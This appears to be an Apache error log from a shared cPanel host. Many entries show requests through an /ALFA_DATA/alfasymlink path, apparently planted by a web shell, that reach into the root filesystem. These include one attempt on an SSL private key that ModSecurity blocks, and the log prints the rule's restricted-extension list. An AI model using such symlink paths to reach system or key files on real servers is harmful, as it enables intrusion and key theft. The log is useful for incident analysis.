[Sat Oct 24 17:45:02.459078 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.86.59.155:24303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:45:05.626485 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.12:59222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/ctor
[Sat Oct 24 17:45:14.541470 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.71.203.206:33333] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:45:20.089033 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.235.191.179:14179] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:45:22.270689 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 50.16.216.166:26204] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:45:26.289301 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 34.226.89.140:26373] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/crash_notes_size
[Sat Oct 24 17:45:34.664920 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.236.185.101:10393] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:45:42.338907 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.73.142.41:31531] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:45:52.220742 2026] [authz_core:error] [pid 2693034:tid 2693034] [client 20.53.239.152:9632] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 17:45:58.268497 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.202.52.82:3091] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:46:00.067139 2026] [cgi:error] [pid 2693034:tid 2693034] [client 20.53.239.152:9632] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sat Oct 24 17:46:02.277578 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.207.69.106:14597] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:46:14.540020 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.195.50.71:24413] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:46:34.538377 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.6.232.201:59313] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:46:36.554389 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.201:32980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack_ftp/sections/__ksymtab_strings
[Sat Oct 24 17:46:38.299494 2026] [ssl:error] [pid 2693020:tid 2693020] (5)Input/output error: [client 3.93.211.16:33435] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:46:46.257969 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.84.250.51:17734] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:46:50.873782 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.200.251.20:37075] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:46:54.254452 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.197.28.78:14192] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:47:02.259222 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.203:15650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/cpu_partial
[Sat Oct 24 17:47:22.237210 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.70.123.241:39106] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:47:30.348872 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 98.83.226.125:43752] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:47:38.755478 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 18.210.58.238:26464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:04.0/virtio1/subsystem/drivers/virtio_blk/uevent
[Sat Oct 24 17:47:42.245772 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.225.24.180:42994] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:47:46.645889 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.231.118.144:35040] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:47:54.307026 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.83.226.125:34737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:47:58.356653 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.224.132.215:23339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:48:06.381425 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.9:18846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/free_calls
[Sat Oct 24 17:48:12.221090 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.12:49972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/sanity_checks
[Sat Oct 24 17:48:18.712467 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.194.233.48:53117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:48:22.424536 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 100.28.44.58:26184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/Cavium PTP Driver/unbind
[Sat Oct 24 17:48:23.754952 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.200:22870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/red_zone
[Sat Oct 24 17:48:26.398825 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.224.9.144:51817] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:48:38.343614 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.21.119.232:9948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:49:04.555187 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 85.208.96.194:52028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-256/red_zone
[Sat Oct 24 17:49:10.228892 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.216.86.144:27356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:49:18.316956 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.87.95.7:7104] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:49:22.352253 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 35.168.238.50:34235] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:06/physical_node/resource4_wc
[Sat Oct 24 17:49:30.353269 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.206.65.8:47833] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:49:42.237076 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.213.46.222:43441] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:49:52.983919 2026] [core:crit] [pid 2693017:tid 2693017] (13)Permission denied: [client 216.244.66.250:33096] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/11/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/11/fd/' is executable
[Sat Oct 24 17:49:52.984013 2026] [core:crit] [pid 2693017:tid 2693017] (13)Permission denied: [client 216.244.66.250:33096] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/11/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/11/map_files/' is executable
[Sat Oct 24 17:49:52.984045 2026] [core:crit] [pid 2693017:tid 2693017] (13)Permission denied: [client 216.244.66.250:33096] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/11/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/11/fdinfo/' is executable
[Sat Oct 24 17:49:54.346328 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 34.224.132.215:17480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:18/eject
[Sat Oct 24 17:49:54.847335 2026] [core:crit] [pid 2707149:tid 2707149] (13)Permission denied: [client 216.244.66.250:33108] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1376/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1376/fd/' is executable
[Sat Oct 24 17:49:54.847421 2026] [core:crit] [pid 2707149:tid 2707149] (13)Permission denied: [client 216.244.66.250:33108] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1376/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1376/map_files/' is executable
[Sat Oct 24 17:49:54.847452 2026] [core:crit] [pid 2707149:tid 2707149] (13)Permission denied: [client 216.244.66.250:33108] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1376/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1376/fdinfo/' is executable
[Sat Oct 24 17:49:58.367553 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 184.72.95.195:45344] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:50:02.224549 2026] [security2:error] [pid 2693017:tid 2693017] [client 34.206.249.188:16540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/firmware_node/wakeup/wakeup5/subsystem/wakeup12/"] [unique_id "at0oCivtCA9Mk3h2rl2kjgAAABM"]
[Sat Oct 24 17:50:02.224583 2026] [security2:error] [pid 2693017:tid 2693017] [client 34.206.249.188:16540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/firmware_node/wakeup/wakeup5/subsystem/wakeup12/"] [unique_id "at0oCivtCA9Mk3h2rl2kjgAAABM"]
[Sat Oct 24 17:50:06.197617 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.222.85.38:7245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:50:14.418450 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 184.73.239.35:25836] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:50:26.325728 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.211.148.239:57861] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:50:36.150485 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.1:62104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-1k/cpu_slabs
[Sat Oct 24 17:50:38.354974 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.3.26.180:46389] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:50:42.213955 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.87.62.248:25118] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:50:46.283530 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.235.158.19:38176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:50:54.157356 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.206.93.215:6306] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:51:06.146512 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.164.106.236:61696] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:51:22.000392 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.17:24360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/shrink
[Sat Oct 24 17:51:22.302057 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.232.36.1:49077] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:51:24.242250 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 216.244.66.250:43676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/slabinfo
[Sat Oct 24 17:51:26.281565 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 107.23.62.75:4044] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:51:30.199259 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.194.233.48:57277] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:51:34.262769 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 18.214.124.6:31921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/subsystem/drivers_probe
[Sat Oct 24 17:51:42.155030 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.212.232.231:52461] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:51:54.310578 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.208.146.193:50669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:52:07.017040 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.199:19296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/cache_dma
[Sat Oct 24 17:52:14.150312 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 23.23.99.55:49966] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:52:26.298340 2026] [security2:error] [pid 2692979:tid 2692979] [client 98.82.66.172:59897] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/piix4_smbus/"] [unique_id "at0omvavbqLdB7btCU-70wAAABc"]
[Sat Oct 24 17:52:26.298386 2026] [security2:error] [pid 2692979:tid 2692979] [client 98.82.66.172:59897] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/piix4_smbus/"] [unique_id "at0omvavbqLdB7btCU-70wAAABc"]
[Sat Oct 24 17:52:41.650089 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.3:24580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/remote_node_defrag_ratio
[Sat Oct 24 17:52:42.283834 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.209.89.189:46201] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:52:44.617960 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 85.208.96.193:44290] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nfnetlink/sections/__kcrctab_gpl
[Sat Oct 24 17:52:46.294113 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 100.28.118.16:21596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:52:50.300112 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.204.37.237:65168] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:52:58.188583 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.232.82.72:11195] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:53:06.151229 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 52.45.29.57:58926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/8250_lpss/unbind
[Sat Oct 24 17:53:06.151690 2026] [security2:error] [pid 2692979:tid 2692979] [client 52.45.29.57:58926] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/8250_lpss/unbind"] [unique_id "at0owvavbqLdB7btCU-71QAAABc"]
[Sat Oct 24 17:53:06.151726 2026] [security2:error] [pid 2692979:tid 2692979] [client 52.45.29.57:58926] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/8250_lpss/unbind"] [unique_id "at0owvavbqLdB7btCU-71QAAABc"]
[Sat Oct 24 17:53:10.242245 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.87.95.7:23275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:53:22.174730 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.29.107.38:52156] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:53:26.164940 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 18.208.11.93:47997] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:53:30.165790 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.208.193.63:28466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:53:38.167514 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.215.49.176:64388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:53:50.180208 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.225.87.80:23433] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/pci-stub/bind
[Sat Oct 24 17:53:58.427061 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.225.98.148:57795] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:54:06.172187 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.225.24.180:55496] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:54:10.243294 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.12:49794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/remote_node_defrag_ratio
[Sat Oct 24 17:54:14.246773 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.21.175.228:5374] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:54:22.145913 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.224.205.25:41199] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:54:30.249598 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.194.226.74:10923] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:54:34.203851 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 34.225.243.131:54903] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:54:38.169150 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.45.77.169:37908] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:54:46.178409 2026] [ssl:error] [pid 2684583:tid 2684583] (22)Invalid argument: [client 54.83.23.103:59883] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:54:54.191673 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 184.72.95.195:15491] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:54:58.157881 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 35.171.141.42:59908] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:55:10.195928 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.44.174.136:17117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:55:14.319155 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.204.62.163:60212] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:55:22.164954 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.84.147.79:60463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:55:34.192612 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 52.204.37.237:62146] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/drivers/ac/bind
[Sat Oct 24 17:55:46.179436 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.235.191.179:19054] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:55:46.217758 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.205:32032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_buffer/red_zone
[Sat Oct 24 17:55:54.209596 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.22.64.232:14408] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:55:58.256614 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 23.21.179.27:14993] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:56:10.146906 2026] [ssl:error] [pid 2693034:tid 2693034] (5)Input/output error: [client 52.2.83.227:1943] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:56:30.240955 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.209.137.234:19242] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:56:34.131692 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.225.148.123:8303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:56:38.221624 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 3.209.174.110:47160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/rescan
[Sat Oct 24 17:56:42.242332 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.206.212.24:8219] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:56:46.611944 2026] [ssl:error] [pid 2693034:tid 2693034] (5)Input/output error: [client 44.215.231.15:32120] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 17:56:50.730611 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.204:18052] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c216e_be1cf_282bb50402d4da3d0e92a0f6857df33b.key"] [unique_id "at0pojKiZtbKEGWJKoLTNQAAACE"]
[Sat Oct 24 17:56:50.730991 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.204:18052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c216e_be1cf_282bb50402d4da3d0e92a0f6857df33b.key"] [unique_id "at0pojKiZtbKEGWJKoLTNQAAACE"]
[Sat Oct 24 17:56:50.731315 2026] [security2:error] [pid 2693020:tid 2693020] [client 85.208.96.204:18052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c216e_be1cf_282bb50402d4da3d0e92a0f6857df33b.key"] [unique_id "at0pojKiZtbKEGWJKoLTNQAAACE"]
[Sat Oct 24 17:56:58.144339 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 18.235.81.246:47189] AH02013: coalesce failed to read from data bucket
